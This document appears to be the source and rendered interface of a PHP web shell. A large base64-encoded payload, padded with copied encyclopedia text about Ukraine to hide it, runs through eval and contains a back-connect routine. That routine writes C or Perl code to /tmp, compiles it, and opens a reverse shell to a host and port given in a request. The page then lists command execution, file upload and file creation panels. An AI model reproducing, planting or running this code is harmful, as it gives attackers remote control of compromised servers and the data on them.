VkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsKCQkJY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsKCQkJJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKCQkJQHVubGluaygiL3RtcC9iYy5jIik7CgkJCSRvdXQgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsKCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7CgkJCSRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7CgkJfQoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApCglpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwoJZWxzZQoJCSRfUE9TVFsnYSddID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwoKCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwo/Pg==")); ?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

